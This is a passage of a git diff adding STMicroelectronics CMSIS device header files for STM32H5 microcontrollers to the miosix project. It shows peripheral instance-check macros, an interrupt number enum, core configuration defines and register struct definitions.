((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/*********** TIM Instances : Slave mode available (TIMx_SMCR available )*******/ +#define IS_TIM_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting OCxREF clear *******************/ +#define IS_TIM_OCXREF_CLEAR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : remapping capability **********************/ +#define IS_TIM_REMAP_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting repetition counter *************/ +#define IS_TIM_REPETITION_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting ADC triggering through TRGO2 ***/ +#define IS_TIM_TRGO2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/******************* TIM Instances : Timer input XOR function *****************/ +#define IS_TIM_XOR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/******************* TIM Instances : Timer input selection ********************/ +#define IS_TIM_TISEL_INSTANCE(INSTANCE) (((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S)|| \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : Advanced timer instances *******************/ +#define IS_TIM_ADVANCED_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting synchronization ****************/ +#define IS_TIM_SYNCHRO_INSTANCE(__INSTANCE__) (((__INSTANCE__) == TIM1_NS) || ((__INSTANCE__) == TIM1_S) || \ + ((__INSTANCE__) == TIM2_NS) || ((__INSTANCE__) == TIM2_S) || \ + ((__INSTANCE__) == TIM3_NS) || ((__INSTANCE__) == TIM3_S) || \ + ((__INSTANCE__) == TIM4_NS) || ((__INSTANCE__) == TIM4_S) || \ + ((__INSTANCE__) == TIM5_NS) || ((__INSTANCE__) == TIM5_S) || \ + ((__INSTANCE__) == TIM6_NS) || ((__INSTANCE__) == TIM6_S) || \ + ((__INSTANCE__) == TIM7_NS) || ((__INSTANCE__) == TIM7_S) || \ + ((__INSTANCE__) == TIM8_NS) || ((__INSTANCE__) == TIM8_S) || \ + ((__INSTANCE__) == TIM12_NS) || ((__INSTANCE__) == TIM12_S)|| \ + ((__INSTANCE__) == TIM15_NS) || ((__INSTANCE__) == TIM15_S)) + +/******************** USART Instances : Synchronous mode **********************/ +#define IS_USART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/******************** UART Instances : Asynchronous mode **********************/ +#define IS_UART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/*********************** UART Instances : FIFO mode ***************************/ +#define IS_UART_FIFO_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : SPI Slave mode **********************/ +#define IS_UART_SPI_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/******************************** I2S Instances *******************************/ +#define IS_I2S_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1) || \ + ((INSTANCE) == SPI2) || \ + ((INSTANCE) == SPI3)) + +/****************** UART Instances : Auto Baud Rate detection ****************/ +#define IS_USART_AUTOBAUDRATE_DETECTION_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/****************** UART Instances : Driver Enable *****************/ +#define IS_UART_DRIVER_ENABLE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : Half-Duplex mode **********************/ +#define IS_UART_HALFDUPLEX_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************** UART Instances : Hardware Flow control ********************/ +#define IS_UART_HWFLOW_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : LIN mode **********************/ +#define IS_UART_LIN_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/******************** UART Instances : Wake-up from Stop mode **********************/ +#define IS_UART_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : IRDA mode ***************************/ +#define IS_IRDA_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/********************* USART Instances : Smard card mode ***********************/ +#define IS_SMARTCARD_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/******************** LPUART Instance *****************************************/ +#define IS_LPUART_INSTANCE(INSTANCE) (((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** CEC Instance *****************************************/ +#define IS_CEC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CEC_NS) || ((INSTANCE) == CEC_S)) + +/****************************** IWDG Instances ********************************/ +#define IS_IWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == IWDG_NS) || ((INSTANCE) == IWDG_S)) + +/****************************** WWDG Instances ********************************/ +#define IS_WWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == WWDG_NS) || ((INSTANCE) == WWDG_S)) + +/****************************** UCPD Instances ********************************/ +#define IS_UCPD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == UCPD1_NS) || ((INSTANCE) == UCPD1_S)) + +/******************************* USB DRD FS HCD Instances *************************/ +#define IS_HCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_DRD_FS_NS) || ((INSTANCE) == USB_DRD_FS_S)) + +/******************************* USB DRD FS PCD Instances *************************/ +#define IS_PCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_DRD_FS_NS) || ((INSTANCE) == USB_DRD_FS_S)) + +/** @} */ /* End of group STM32H5xx_Peripheral_Exported_macros */ + +/** @} */ /* End of group STM32H533xx */ + +/** @} */ /* End of group ST */ + +#ifdef __cplusplus +} +#endif + +#endif /* STM32H533xx_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h562xx.h b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h562xx.h new file mode 100644 index 000000000..9cc7a5572 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h562xx.h @@ -0,0 +1,21869 @@ +/** + ****************************************************************************** + * @file stm32h562xx.h + * @author MCD Application Team + * @brief CMSIS STM32H562xx Device Peripheral Access Layer Header File. + * + * This file contains: + * - Data structures and the address mapping for all peripherals + * - Peripheral's registers declarations and bits definition + * - Macros to access peripheral's registers hardware + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2023 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +#ifndef STM32H562xx_H +#define STM32H562xx_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @addtogroup ST + * @{ + */ + + +/** @addtogroup STM32H562xx + * @{ + */ + + +/** @addtogroup Configuration_of_CMSIS + * @{ + */ + + +/* =========================================================================================================================== */ +/* ================ Interrupt Number Definition ================ */ +/* =========================================================================================================================== */ + +typedef enum +{ +/* ======================================= ARM Cortex-M33 Specific Interrupt Numbers ======================================= */ + Reset_IRQn = -15, /*!< -15 Reset Vector, invoked on Power up and warm reset */ + NonMaskableInt_IRQn = -14, /*!< -14 Non maskable Interrupt, cannot be stopped or preempted */ + HardFault_IRQn = -13, /*!< -13 Hard Fault, all classes of Fault */ + MemoryManagement_IRQn = -12, /*!< -12 Memory Management, MPU mismatch, including Access Violation + and No Match */ + BusFault_IRQn = -11, /*!< -11 Bus Fault, Pre-Fetch-, Memory Access Fault, other address/memory + related Fault */ + UsageFault_IRQn = -10, /*!< -10 Usage Fault, i.e. Undef Instruction, Illegal State Transition */ + SecureFault_IRQn = -9, /*!< -9 Secure Fault */ + SVCall_IRQn = -5, /*!< -5 System Service Call via SVC instruction */ + DebugMonitor_IRQn = -4, /*!< -4 Debug Monitor */ + PendSV_IRQn = -2, /*!< -2 Pendable request for system service */ + SysTick_IRQn = -1, /*!< -1 System Tick Timer */ + +/* =========================================== STM32H562xx Specific Interrupt Numbers ====================================== */ + WWDG_IRQn = 0, /*!< Window WatchDog interrupt */ + PVD_AVD_IRQn = 1, /*!< PVD/AVD through EXTI Line detection Interrupt */ + RTC_IRQn = 2, /*!< RTC non-secure interrupt */ + RTC_S_IRQn = 3, /*!< RTC secure interrupt */ + TAMP_IRQn = 4, /*!< Tamper global interrupt */ + RAMCFG_IRQn = 5, /*!< RAMCFG global interrupt */ + FLASH_IRQn = 6, /*!< FLASH non-secure global interrupt */ + FLASH_S_IRQn = 7, /*!< FLASH secure global interrupt */ + GTZC_IRQn = 8, /*!< Global TrustZone Controller interrupt */ + RCC_IRQn = 9, /*!< RCC non secure global interrupt */ + RCC_S_IRQn = 10, /*!< RCC secure global interrupt */ + EXTI0_IRQn = 11, /*!< EXTI Line0 interrupt */ + EXTI1_IRQn = 12, /*!< EXTI Line1 interrupt */ + EXTI2_IRQn = 13, /*!< EXTI Line2 interrupt */ + EXTI3_IRQn = 14, /*!< EXTI Line3 interrupt */ + EXTI4_IRQn = 15, /*!< EXTI Line4 interrupt */ + EXTI5_IRQn = 16, /*!< EXTI Line5 interrupt */ + EXTI6_IRQn = 17, /*!< EXTI Line6 interrupt */ + EXTI7_IRQn = 18, /*!< EXTI Line7 interrupt */ + EXTI8_IRQn = 19, /*!< EXTI Line8 interrupt */ + EXTI9_IRQn = 20, /*!< EXTI Line9 interrupt */ + EXTI10_IRQn = 21, /*!< EXTI Line10 interrupt */ + EXTI11_IRQn = 22, /*!< EXTI Line11 interrupt */ + EXTI12_IRQn = 23, /*!< EXTI Line12 interrupt */ + EXTI13_IRQn = 24, /*!< EXTI Line13 interrupt */ + EXTI14_IRQn = 25, /*!< EXTI Line14 interrupt */ + EXTI15_IRQn = 26, /*!< EXTI Line15 interrupt */ + GPDMA1_Channel0_IRQn = 27, /*!< GPDMA1 Channel 0 global interrupt */ + GPDMA1_Channel1_IRQn = 28, /*!< GPDMA1 Channel 1 global interrupt */ + GPDMA1_Channel2_IRQn = 29, /*!< GPDMA1 Channel 2 global interrupt */ + GPDMA1_Channel3_IRQn = 30, /*!< GPDMA1 Channel 3 global interrupt */ + GPDMA1_Channel4_IRQn = 31, /*!< GPDMA1 Channel 4 global interrupt */ + GPDMA1_Channel5_IRQn = 32, /*!< GPDMA1 Channel 5 global interrupt */ + GPDMA1_Channel6_IRQn = 33, /*!< GPDMA1 Channel 6 global interrupt */ + GPDMA1_Channel7_IRQn = 34, /*!< GPDMA1 Channel 7 global interrupt */ + IWDG_IRQn = 35, /*!< IWDG global interrupt */ + ADC1_IRQn = 37, /*!< ADC1 global interrupt */ + DAC1_IRQn = 38, /*!< DAC1 global interrupt */ + FDCAN1_IT0_IRQn = 39, /*!< FDCAN1 interrupt 0 */ + FDCAN1_IT1_IRQn = 40, /*!< FDCAN1 interrupt 1 */ + TIM1_BRK_IRQn = 41, /*!< TIM1 Break interrupt */ + TIM1_UP_IRQn = 42, /*!< TIM1 Update interrupt */ + TIM1_TRG_COM_IRQn = 43, /*!< TIM1 Trigger and Commutation interrupt */ + TIM1_CC_IRQn = 44, /*!< TIM1 Capture Compare interrupt */ + TIM2_IRQn = 45, /*!< TIM2 global interrupt */ + TIM3_IRQn = 46, /*!< TIM3 global interrupt */ + TIM4_IRQn = 47, /*!< TIM4 global interrupt */ + TIM5_IRQn = 48, /*!< TIM5 global interrupt */ + TIM6_IRQn = 49, /*!< TIM6 global interrupt */ + TIM7_IRQn = 50, /*!< TIM7 global interrupt */ + I2C1_EV_IRQn = 51, /*!< I2C1 Event interrupt */ + I2C1_ER_IRQn = 52, /*!< I2C1 Error interrupt */ + I2C2_EV_IRQn = 53, /*!< I2C2 Event interrupt */ + I2C2_ER_IRQn = 54, /*!< I2C2 Error interrupt */ + SPI1_IRQn = 55, /*!< SPI1 global interrupt */ + SPI2_IRQn = 56, /*!< SPI2 global interrupt */ + SPI3_IRQn = 57, /*!< SPI3 global interrupt */ + USART1_IRQn = 58, /*!< USART1 global interrupt */ + USART2_IRQn = 59, /*!< USART2 global interrupt */ + USART3_IRQn = 60, /*!< USART3 global interrupt */ + UART4_IRQn = 61, /*!< UART4 global interrupt */ + UART5_IRQn = 62, /*!< UART5 global interrupt */ + LPUART1_IRQn = 63, /*!< LPUART1 global interrupt */ + LPTIM1_IRQn = 64, /*!< LPTIM1 global interrupt */ + TIM8_BRK_IRQn = 65, /*!< TIM8 Break interrupt */ + TIM8_UP_IRQn = 66, /*!< TIM8 Update interrupt */ + TIM8_TRG_COM_IRQn = 67, /*!< TIM8 Trigger and Commutation interrupt */ + TIM8_CC_IRQn = 68, /*!< TIM8 Capture Compare interrupt */ + ADC2_IRQn = 69, /*!< ADC2 global interrupt */ + LPTIM2_IRQn = 70, /*!< LPTIM2 global interrupt */ + TIM15_IRQn = 71, /*!< TIM15 global interrupt */ + TIM16_IRQn = 72, /*!< TIM16 global interrupt */ + TIM17_IRQn = 73, /*!< TIM17 global interrupt */ + USB_DRD_FS_IRQn = 74, /*!< USB FS global interrupt */ + CRS_IRQn = 75, /*!< CRS global interrupt */ + UCPD1_IRQn = 76, /*!< UCPD1 global interrupt */ + FMC_IRQn = 77, /*!< FMC global interrupt */ + OCTOSPI1_IRQn = 78, /*!< OctoSPI1 global interrupt */ + SDMMC1_IRQn = 79, /*!< SDMMC1 global interrupt */ + I2C3_EV_IRQn = 80, /*!< I2C3 event interrupt */ + I2C3_ER_IRQn = 81, /*!< I2C3 error interrupt */ + SPI4_IRQn = 82, /*!< SPI4 global interrupt */ + SPI5_IRQn = 83, /*!< SPI5 global interrupt */ + SPI6_IRQn = 84, /*!< SPI6 global interrupt */ + USART6_IRQn = 85, /*!< USART6 global interrupt */ + USART10_IRQn = 86, /*!< USART10 global interrupt */ + USART11_IRQn = 87, /*!< USART11 global interrupt */ + SAI1_IRQn = 88, /*!< Serial Audio Interface 1 global interrupt */ + SAI2_IRQn = 89, /*!< Serial Audio Interface 2 global interrupt */ + GPDMA2_Channel0_IRQn = 90, /*!< GPDMA2 Channel 0 global interrupt */ + GPDMA2_Channel1_IRQn = 91, /*!< GPDMA2 Channel 1 global interrupt */ + GPDMA2_Channel2_IRQn = 92, /*!< GPDMA2 Channel 2 global interrupt */ + GPDMA2_Channel3_IRQn = 93, /*!< GPDMA2 Channel 3 global interrupt */ + GPDMA2_Channel4_IRQn = 94, /*!< GPDMA2 Channel 4 global interrupt */ + GPDMA2_Channel5_IRQn = 95, /*!< GPDMA2 Channel 5 global interrupt */ + GPDMA2_Channel6_IRQn = 96, /*!< GPDMA2 Channel 6 global interrupt */ + GPDMA2_Channel7_IRQn = 97, /*!< GPDMA2 Channel 7 global interrupt */ + UART7_IRQn = 98, /*!< UART7 global interrupt */ + UART8_IRQn = 99, /*!< UART8 global interrupt */ + UART9_IRQn = 100, /*!< UART9 global interrupt */ + UART12_IRQn = 101, /*!< UART12 global interrupt */ + FPU_IRQn = 103, /*!< FPU global interrupt */ + ICACHE_IRQn = 104, /*!< Instruction cache global interrupt */ + DCACHE1_IRQn = 105, /*!< Data cache global interrupt */ + DCMI_PSSI_IRQn = 108, /*!< DCMI/PSSI global interrupt */ + CORDIC_IRQn = 111, /*!< CORDIC global interrupt */ + FMAC_IRQn = 112, /*!< FMAC global interrupt */ + DTS_IRQn = 113, /*!< DTS global interrupt */ + RNG_IRQn = 114, /*!< RNG global interrupt */ + HASH_IRQn = 117, /*!< HASH global interrupt */ + PKA_IRQn = 118, /*!< PKA global interrupt */ + CEC_IRQn = 119, /*!< CEC-HDMI global interrupt */ + TIM12_IRQn = 120, /*!< TIM12 global interrupt */ + TIM13_IRQn = 121, /*!< TIM13 global interrupt */ + TIM14_IRQn = 122, /*!< TIM14 global interrupt */ + I3C1_EV_IRQn = 123, /*!< I3C1 event interrupt */ + I3C1_ER_IRQn = 124, /*!< I3C1 error interrupt */ + I2C4_EV_IRQn = 125, /*!< I2C4 event interrupt */ + I2C4_ER_IRQn = 126, /*!< I2C4 error interrupt */ + LPTIM3_IRQn = 127, /*!< LPTIM3 global interrupt */ + LPTIM4_IRQn = 128, /*!< LPTIM4 global interrupt */ + LPTIM5_IRQn = 129, /*!< LPTIM5 global interrupt */ + LPTIM6_IRQn = 130, /*!< LPTIM6 global interrupt */ +} IRQn_Type; + + + +/* =========================================================================================================================== */ +/* ================ Processor and Core Peripheral Section ================ */ +/* =========================================================================================================================== */ + +/* ------- Start of section using anonymous unions and disabling warnings ------- */ +#if defined (__CC_ARM) + #pragma push + #pragma anon_unions +#elif defined (__ICCARM__) + #pragma language=extended +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + +#define SMPS /*!< Switched mode power supply feature */ + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32h5xx.h" /*!< STM32H5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ + uint32_t RESERVED3[246]; /*!< Reserved, */ + __IO uint32_t HWCFGR; /*!< CRC IP HWCFGR register, Address offset: 0x3F0 */ + __IO uint32_t VERR; /*!< CRC IP version register, Address offset: 0x3F4 */ + __IO uint32_t PIDR; /*!< CRC IP type identification register, Address offset: 0x3F8 */ + __IO uint32_t SIDR; /*!< CRC IP map Size ID register, Address offset: 0x3FC */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ +} I2C_TypeDef; + +/** + * @brief Improved Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR; /*!< I3C Control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< I3C Controller Configuration register, Address offset: 0x04 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x08-0x0C */ + __IO uint32_t RDR; /*!< I3C Received Data register, Address offset: 0x10 */ + __IO uint32_t RDWR; /*!< I3C Received Data Word register, Address offset: 0x14 */ + __IO uint32_t TDR; /*!< I3C Transmit Data register, Address offset: 0x18 */ + __IO uint32_t TDWR; /*!< I3C Transmit Data Word register, Address offset: 0x1C */ + __IO uint32_t IBIDR; /*!< I3C IBI payload Data register, Address offset: 0x20 */ + __IO uint32_t TGTTDR; /*!< I3C Target Transmit register, Address offset: 0x24 */ + uint32_t RESERVED2[2]; /*!< Reserved, Address offset: 0x28-0x2C */ + __IO uint32_t SR; /*!< I3C Status register, Address offset: 0x30 */ + __IO uint32_t SER; /*!< I3C Status Error register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved, Address offset: 0x38-0x3C */ + __IO uint32_t RMR; /*!< I3C Received Message register, Address offset: 0x40 */ + uint32_t RESERVED4[3]; /*!< Reserved, Address offset: 0x44-0x4C */ + __IO uint32_t EVR; /*!< I3C Event register, Address offset: 0x50 */ + __IO uint32_t IER; /*!< I3C Interrupt Enable register, Address offset: 0x54 */ + __IO uint32_t CEVR; /*!< I3C Clear Event register, Address offset: 0x58 */ + uint32_t RESERVED5; /*!< Reserved, Address offset: 0x5C */ + __IO uint32_t DEVR0; /*!< I3C own Target characteristics register, Address offset: 0x60 */ + __IO uint32_t DEVRX[4]; /*!< I3C Target x (1<=x<=4) register, Address offset: 0x64-0x70 */ + uint32_t RESERVED6[7]; /*!< Reserved, Address offset: 0x74-0x8C */ + __IO uint32_t MAXRLR; /*!< I3C Maximum Read Length register, Address offset: 0x90 */ + __IO uint32_t MAXWLR; /*!< I3C 